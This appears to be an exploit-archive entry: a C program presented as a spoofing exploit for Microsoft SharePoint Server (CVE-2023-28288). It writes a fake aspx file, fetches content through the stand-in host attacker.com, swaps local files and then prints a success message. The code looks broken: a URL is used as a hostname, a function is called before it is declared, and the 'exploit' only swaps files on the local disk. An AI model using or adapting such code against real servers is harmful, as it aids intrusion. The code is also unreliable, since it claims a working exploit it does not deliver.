Microsoft SharePoint Enterprise Server 2016 suffers from a spoofing vulnerability.
dc69c8a196ae434905235f744cfdcbe0d497ed7ab1caa764b015de4a98a1e4d1// Exploit Title: Microsoft SharePoint Enterprise Server 2016 - Spoofing
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : Remote
// Vendor Homepage:
// Microsoft SharePoint Foundation 2013 Service Pack 1
// Microsoft SharePoint Server Subscription Edition
// Microsoft SharePoint Enterprise Server 2013 Service Pack 1
// Microsoft SharePoint Server 2019
// Microsoft SharePoint Enterprise Server 2016
// Tested on: Windows/Linux
// CVE : CVE-2023-28288
#include <windows.h>
#include <stdio.h>
// The vulnerable SharePoint server URL
const char *server_url = "http://example.com/";
// The URL of the fake SharePoint server
const char *fake_url = "http://attacker.com/";
// The vulnerable SharePoint server file name
const char *file_name = "vuln_file.aspx";
// The fake SharePoint server file name
const char *fake_file_name = "fake_file.aspx";
int main()
{
HANDLE file;
DWORD bytes_written;
char file_contents[1024];
// Create the fake file contents
sprintf(file_contents, "<html><head></head><body><p>This is a fake file.</p></body></html>");
// Write the fake file to disk
file = CreateFile(fake_file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE)
{
printf("Error creating fake file: %d\n", GetLastError());
return 1;
}
if (!WriteFile(file, file_contents, strlen(file_contents), &bytes_written, NULL))
{
printf("Error writing fake file: %d\n", GetLastError());
CloseHandle(file);
return 1;
}
CloseHandle(file);
// Send a request to the vulnerable SharePoint server to download the file
sprintf(file_contents, "%s%s", server_url, file_name);
file = CreateFile(file_name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE)
{
printf("Error creating vulnerable file: %d\n", GetLastError());
return 1;
}
if (!InternetReadFileUrl(file_contents, file))
{
printf("Error downloading vulnerable file: %d\n", GetLastError());
CloseHandle(file);
return 1;
}
CloseHandle(file);
// Replace the vulnerable file with the fake file
if (!DeleteFile(file_name))
{
printf("Error deleting vulnerable file: %d\n", GetLastError());
return 1;
}
if (!MoveFile(fake_file_name, file_name))
{
printf("Error replacing vulnerable file: %d\n", GetLastError());
return 1;
}
// Send a request to the vulnerable SharePoint server to trigger the vulnerability
sprintf(file_contents, "%s%s", server_url, file_name);
if (!InternetReadFileUrl(file_contents, NULL))
{
printf("Error triggering vulnerability: %d\n", GetLastError());
return 1;
}
// Print a message indicating that the vulnerability has been exploited
printf("Vulnerability exploited successfully.\n");
return 0;
}
BOOL InternetReadFileUrl(const char *url, HANDLE file)
{
HINTERNET internet, connection, request;
DWORD bytes_read;
char buffer[1024];
// Open an Internet connection
internet = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (internet == NULL)
{
return FALSE;
}
// Connect to the server
connection = InternetConnect(internet, fake_url, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (connection == NULL)
{
InternetCloseHandle(internet);
return FALSE;
}
// Send the HTTP request
request = HttpOpenRequest(connection, "GET", url, NULL, NULL, NULL, 0, 0);
if (request == NULL)
{
InternetCloseHandle(connection);
InternetCloseHandle(internet);
return FALSE;
}
if (!HttpSendRequest(request, NULL, 0, NULL, 0))
{
InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(internet);
return FALSE;
}
// Read the response data
while (InternetReadFile(request, buffer, sizeof(buffer), &bytes_read) && bytes_read > 0)
{
if (file != NULL)
{
// Write the data to disk
if (!WriteFile(file, buffer, bytes_read, &bytes_read, NULL))
{
InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(internet);
return FALSE;
}
}
}
InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(internet);
return TRUE;
}
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